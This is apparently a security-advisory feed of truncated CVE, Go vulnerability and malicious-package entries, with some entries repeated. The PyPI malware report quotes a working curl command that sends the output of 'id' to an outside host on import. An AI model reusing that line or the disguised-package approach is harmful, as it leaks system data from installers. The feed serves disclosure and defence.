CVE-2026-11703

The CVE-2026-11703 entry describes a vulnerability in stateful (session-ID) TLS resumption where missing SNI/ALPN binding allowed a cached session to be resumed under a different SNI/ALPN than originally negotiated. The root cause is the absence of binding checks for stateful resumption paths, wh...

CVE-2026-11703

Missing SNI/ALPN binding on stateful session-ID resumption, which previously skipped the binding check performed for ticket-based resumption. A cached session could be resumed under a different SNI/ALPN than originally negotiated and, where client-authentication policy differs across virtual host...

MAL-2026-6478 Malicious code in mi-test-99-tuapellido (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b71b66c156e0a54b73b6dd2f2f9e994ac9c1ff9ab4d1f9689f1f930b3097f39 On every import, the package's top-level init.py runs os.system"curl http://6krddfbeqw0pisps3egdsofu9lfc33vrk.oastify.com -d $id". This unconditional...

MAL-2026-6475 Malicious code in textshape-css (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e596e1ea1365aadfa6c75047b664bb41b29b60828595b9271d4c2c217476b60 The package presents itself as a Tailwind CSS typography plugin its name, description, and source tree clone @tailwindcss/typography, but src/index.j...

Malicious code in textshape-css (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e596e1ea1365aadfa6c75047b664bb41b29b60828595b9271d4c2c217476b60 The package presents itself as a Tailwind CSS typography plugin its name, description, and source tree clone @tailwindcss/typography, but src/index.j...

CVE-2026-4930

SYMCRYPTO is the SiXG301's host side hardware engine accessed by PSA crypto library that accelerates symmetric cryptographic operations AES encryption/decryption and hashing. DPA Countermeasures on SYMCRYPTO can be weakened reduced entropy by forcing certain seed values if an attacker gains code...

CVE-2026-46611

Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances XML-RPC server glances -s, implemented in glances/server.py does not validate the HTTP Host header, leaving it vulnerable to DNS rebinding attacks. An attacker can exploit DNS rebinding to exfiltrate the...

GO-2026-5308 Arcane Has an Authenticated Arbitrary Host File Read via Docker Compose Include Directives in github.com/getarcaneapp/arcane/backend

Arcane Has an Authenticated Arbitrary Host File Read via Docker Compose Include Directives in github.com/getarcaneapp/arcane/backend...

Improper Authentication

Overview Affected versions of this package are vulnerable to Improper Authentication via the unauthenticated router-key and mcp-init-host paths. An attacker can gain unauthorized access or bypass authentication controls by sending crafted requests to these endpoints. Remediation Upgrade...

Improper Authentication

Overview Affected versions of this package are vulnerable to Improper Authentication via the unauthenticated router-key and mcp-init-host paths. An attacker can gain unauthorized access or bypass authentication controls by sending crafted requests to these endpoints. Remediation Upgrade...

Improper Authentication

Overview Affected versions of this package are vulnerable to Improper Authentication via the unauthenticated router-key and mcp-init-host paths. An attacker can gain unauthorized access or bypass authentication controls by sending crafted requests to these endpoints. Remediation Upgrade...

Improper Authentication

Overview Affected versions of this package are vulnerable to Improper Authentication via the unauthenticated router-key and mcp-init-host paths. An attacker can gain unauthorized access or bypass authentication controls by sending crafted requests to these endpoints. Remediation Upgrade...

Improper Authentication

Overview Affected versions of this package are vulnerable to Improper Authentication via the unauthenticated router-key and mcp-init-host paths. An attacker can gain unauthorized access or bypass authentication controls by sending crafted requests to these endpoints. Remediation Upgrade...

Improper Authentication

Overview Affected versions of this package are vulnerable to Improper Authentication via the unauthenticated router-key and mcp-init-host paths. An attacker can gain unauthorized access or bypass authentication controls by sending crafted requests to these endpoints. Remediation Upgrade...

GO-2026-5390 MCP Gateway: Authority-injection and JWT/session bypass via the unauthenticated router hair-pin "router-key" / "mcp-init-host" path in github.com/Kuadrant/mcp-gateway

MCP Gateway: Authority-injection and JWT/session bypass via the unauthenticated router hair-pin "router-key" / "mcp-init-host" path in github.com/Kuadrant/mcp-gateway...

GO-2026-5344 Boxlite: Path Traversal Vulnerability Leads to Arbitrary File Write on the Host in github.com/boxlite-ai/boxlite/sdks/go

Boxlite: Path Traversal Vulnerability Leads to Arbitrary File Write on the Host in github.com/boxlite-ai/boxlite/sdks/go...

GO-2026-5367 Daytona: Path traversal in sandbox volume id mounts arbitrary host paths into the sandbox — cross-tenant data access and host escape in github.com/daytonaio/daytona

Daytona: Path traversal in sandbox volume id mounts arbitrary host paths into the sandbox — cross-tenant data access and host escape in github.com/daytonaio/daytona...

GO-2026-5200 Heimdall: Case-sensitive host matching may lead to policy bypass in github.com/dadrus/heimdall

Heimdall: Case-sensitive host matching may lead to policy bypass in github.com/dadrus/heimdall...

GO-2026-5194 Nezha's authenticated DDNS webhook configuration allows blind SSRF from the dashboard host in github.com/nezhahq/nezha in github.com/naiba/nezha

Nezha's authenticated DDNS webhook configuration allows blind SSRF from the dashboard host in github.com/nezhahq/nezha in github.com/naiba/nezha. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. If this i...

GO-2026-5253 OpenTelemetry eBPF Instrumentation: Privileged Java agent injection allows arbitrary host file overwrite via untrusted TMPDIR in go.opentelemetry.io/obi

OpenTelemetry eBPF Instrumentation: Privileged Java agent injection allows arbitrary host file overwrite via untrusted TMPDIR in go.opentelemetry.io/obi...